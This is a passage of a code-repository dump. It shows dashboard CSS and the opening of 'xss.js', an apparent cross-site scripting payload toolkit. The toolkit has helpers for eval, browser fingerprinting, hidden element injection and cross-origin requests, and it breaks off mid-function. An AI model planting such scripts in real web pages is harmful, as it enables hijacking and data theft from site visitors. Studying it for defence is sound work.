187 | padding: 7px 0 1px;
188 | font-size: 12px;
189 | font-weight: bold;
190 | }
191 |
192 | .newmailNotify .notify_digest {
193 | color: #8596A9;
194 | padding-top: 2px;
195 | }
--------------------------------------------------------------------------------
/static/css/main.min.css:
--------------------------------------------------------------------------------
1 | html,body,div,span,iframe,h1,h2,h3,h4,h5,h6,p,a,img,dl,dt,dd,ol,ul,li,table,tfoot,thead,tr,th,td,article,aside,canvas,details,footer,header,section{margin:0;padding:0;border:0;font-size:100%;font:inherit}body{line-height:1;font-size:12px}ol,ul{list-style:none}html,body{height:100%;font-family:'Microsoft YaHei','Open Sans',arial,sans-serif}html,body,.container-fluid,.row,.column{height:100%}@font-face{font-family:'icomoon';src:url('../fonts/icomoon.eot?c8m22a');src:url('../fonts/icomoon.eot?#iefixc8m22a') format('embedded-opentype'),url('../fonts/icomoon.woff?c8m22a') format('woff'),url('../fonts/icomoon.ttf?c8m22a') format('truetype'),url('../fonts/icomoon.svg?c8m22a#icomoon') format('svg');font-weight:normal;font-style:normal}[class^="icon-"],[class*=" icon-"]{font-family:'icomoon';speak:none;font-style:normal;font-weight:normal;font-variant:normal;text-transform:none;line-height:1;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}.icon-logout:before{content:"\e900"}.icon-info:before{content:"\e904"}.icon-template:before{content:"\e901"}.icon-my-js:before{content:"\e903"}.icon-panel:before{content:"\e902"}.icon{margin-right:.917em}.row,.container-fluid{padding:0;margin:0}.column{padding-left:0;padding-right:0}#nav-section{background-color:#35373d;width:220px;float:left;height:100%}#nav-section li{border-bottom:1px solid #4a4b51;white-space:nowrap;font-size:11px;line-height:11px}#nav-section li a{color:#b8bbc2;text-transform:uppercase;text-decoration:none;margin-left:2em;font-size:14px;padding:2em 1.2em}#nav-section li:hover{background-color:#212329}#nav-section li.active{background-color:#0d1016}.nav>li>a:hover,.nav>li>a:focus{background:0}#dash-logo{color:#fff;background-color:#1996e4;text-align:center}#sidebar-nav{padding:0}#rights{width:100%;color:#848690;font-size:12px;position:absolute;bottom:10px;text-align:center;line-height:120%}#toggle-button{margin-top:27px;border:0}#toggle-button:hover,#toggle-button:focus{background-color:transparent}#toggle-button .icon-bar{background-color:#fff}.main-section{float:none;width:auto;overflow:hidden;height:100%;background-color:#eee}#dash-logo,.main-section-header>h2{font-size:18px;text-transform:uppercase;line-height:26px;padding-top:30px;padding-bottom:30px}.main-section-header>h2{padding-left:1.667em;white-space:nowrap}.main-section-header{height:auto;border-bottom:1px solid #ededee;-moz-box-shadow:1px 0 4px #ededee;-webkit-box-shadow:1px 0 4px #ededee;box-shadow:1px 0 4px #ededee;background-color:#fff}.overflow-hidden{overflow:hidden}.display-none{display:none}.clear{clear:both}.windows{-moz-box-shadow:0 0 10px rgba(0,0,0,0.5);-webkit-box-shadow:0 0 10px rgba(0,0,0,0.5);box-shadow:0 0 10px rgba(0,0,0,0.5)}.windows-tip-div{margin:3px}.windows-button-div{float:right;margin-top:15px}.windows-button{margin-right:10px}#search_input_field{width:200px;height:23px}.dropdownlist{margin-top:5px}.search_div{margin-top:7px;clear:both}.search_input_field{margin-top:5px}#findButton{margin-top:15px;margin-left:50px;float:left}#clearButton{margin-left:5px;margin-top:15px;float:left}.listbox{border:0}.listbox_toolbar{position:relative;height:40px}#myJS_add_button,#myJS_del_button,#myJS_clear_button,#jsTemplate_add_button,#jsTemplate_del_button,#jsTemplate_clear_button{float:left;margin-left:5px}.listbox_toolbar_button_icon{position:relative;margin-top:2px}.listbox_toolbar_button_span{margin-left:4px;position:relative;top:3px}.listbox_item_table{min-width:130px}.listbox_item_img{width:40px}.listbox_item_name{padding:0 5px;font-weight:bold;font-size:14px}.listbox_item_description{padding:0 5px}.js_content_panel{margin:20px}.js_content_div{margin:5px}.js_content_button_div{text-align:center;margin:5px auto}.editor{border:1px solid #d4d4d4;margin:10px 5px}#myJS_content,#jsTemplate_content{width:"98%"}#Ww_B_0{margin:10px}#Ww_B_0_Left{width:310px;height:233px;float:left}#Ww_B_0_textarea{width:300px;height:230px}#Ww_B_0_Right{width:245px;height:230px;float:left;overflow:hidden;padding-left:5px}#about_detail{height:0;padding-bottom:100%}#about_us_banner{background-attachment:fixed;background-color:#272833;background-image:url("../images/banner.png");background-position:center center;background-size:cover;box-shadow:0 .25em .5em 0 rgba(0,0,0,0.25);min-height:100vh;position:relative;text-align:center;z-index:21}#firesun{margin-top:4em}#about_us_banner .content{overflow:auto;display:inline-block;margin-right:1%;max-width:95%;padding:2em;position:relative;text-align:right;vertical-align:middle;z-index:1}#about_us_banner .content header{display:inline-block;vertical-align:middle;margin:0;padding:0;border:0;font-size:100%;font:inherit}#about_us_banner .content header h2{font-size:2.5em;margin:0;color:#fff;font-weight:300;line-height:1.5em;letter-spacing:-0.025em}#about_us_banner .content header p{margin:.5em 0 0 0;top:0;font-size:1.25em;line-height:1.75em;color:#fff;position:relative}#about_us_banner .content .image{border-radius:100%;display:inline-block;height:18em;margin-left:3em;vertical-align:middle;width:18em}#about_us_banner a:link,a:visited{color:#FFF;text-decoration:underline}#about_us_banner a:hover,a:active{color:#FFF;text-decoration:none}#about_us_banner .content .image .img{border-radius:100%;display:block;width:100%}#about_us_banner .content .image{border-radius:100%;display:inline-block;height:18em;margin-left:3em;vertical-align:middle;width:18em}#about_us_banner .content .logoimage .logoimg{display:block;width:100%}#about_us_banner .content .logoimage{border-radius:100%;display:inline-block;height:18em;margin-left:3em;vertical-align:middle;width:18em}#about_us_banner .content .image .img{border-radius:100%;display:block;width:100%}
--------------------------------------------------------------------------------
/template/xss.js:
--------------------------------------------------------------------------------
1 | var xss = function() {
2 | var x = {
3 | 'name': 'xss.js',
4 | 'version': '0.1',
5 | 'author': 'jackmasa'
6 | };
7 |
8 | x.x = function(id) {
9 | return document.getElementById(id)
10 | };
11 |
12 | //容错取值
13 | x.e = function(_) {
14 | try {
15 | return eval('(' + _ + ')')
16 | } catch (e) {
17 | return ''
18 | }
19 | };
20 |
21 | //浏览器
22 | x.i = {
23 | i: !!self.ActiveXObject,
24 | c: !!self.chrome,
25 | f: self.mozPaintCount > -1,
26 | o: !!self.opera,
27 | s: !self.chrome && !!self.WebKitPoint
28 | };
29 |
30 | //UA
31 | x.ua = navigator.userAgent;
32 |
33 | //判断是否为苹果手持设备
34 | x.apple = x.ua.match(/ip(one|ad|od)/i) != null;
35 |
36 | //随机数
37 | x.rdm = function() {
38 | return ~~(Math.random() * 100000)
39 | };
40 |
41 | //url编码(UTF8)
42 | x.ec = encodeURIComponent;
43 |
44 | x.html = document.getElementsByTagName('html')[0];
45 |
46 | /*
47 | * 销毁一个元素
48 | */
49 | x.kill = function(e) {
50 | e.parentElement.removeChild(e);
51 | };
52 |
53 | /*
54 | *绑定事件
55 | */
56 | x.bind = function(e, name, fn) {
57 | e.addEventListener ? e.addEventListener(name, fn, false) : e.attachEvent("on" + name, fn);
58 | };
59 |
60 | /*
61 | * dom准备完毕时执行函数
62 | */
63 | x.ready = function(fn) {
64 | if (!x.i.i) {
65 | x.bind(document, 'DOMContentLoaded', fn);
66 | } else {
67 | var s = setInterval(function() {
68 | try {
69 | document.body.doScroll('left');
70 | clearInterval(s);
71 | fn();
72 | } catch (e) {}
73 | }, 4);
74 | }
75 | }
76 |
77 | /*
78 | * 同源检测
79 | */
80 | x.o = function(url) {
81 | var link = x.dom('', 2);
82 | return link.protocol + link.hostname + ':' + link.port == location.protocol + location.hostname + ':' + link.port;
83 | };
84 |
85 | /*
86 | * html to dom
87 | */
88 | x.dom = function(html, gcsec) {
89 | var tmp = document.createElement('span');
90 | tmp.innerHTML = html;
91 | var e = tmp.children[0];
92 | e.style.display = 'none';
93 | x.html.appendChild(e);
94 | gcsec >> 0 > 0 && setTimeout(function() {
95 | x.kill(e);
96 | }, gcsec * 1000);
97 | return e;
98 | };
99 |
100 | /*
101 | * ajax
102 | */
103 | x.ajax = function(url, params, callback) {
104 | (params instanceof Function) && (callback = params, params = void(0));
105 | var XHR = (!x.o(url) && window.XDomainRequest) ||
106 | window.XMLHttpRequest ||
107 | (function() {
108 | return new ActiveXObject('MSXML2.XMLHTTP')
109 | });
110 | var xhr = new XHR();
111 | xhr.open(params ? 'post' : 'get', url);
112 | try {
113 | xhr.setRequestHeader('content-type', 'application/x-www-form-urlencoded')
114 | } catch (e) {}
115 | callback && (xhr.onreadystatechange = function() {
116 | (this.readyState == 4 && ((this.status >= 200 && this.status <= 300) || this.status == 304)) && callback.apply(this, arguments);
117 | });
118 | xhr.send(params);
119 | };
120 |
121 | /*
122 | * no ajax
123 | */
124 | x.najax = function(url, params) {
125 | if (params) {
126 | var form = x.dom('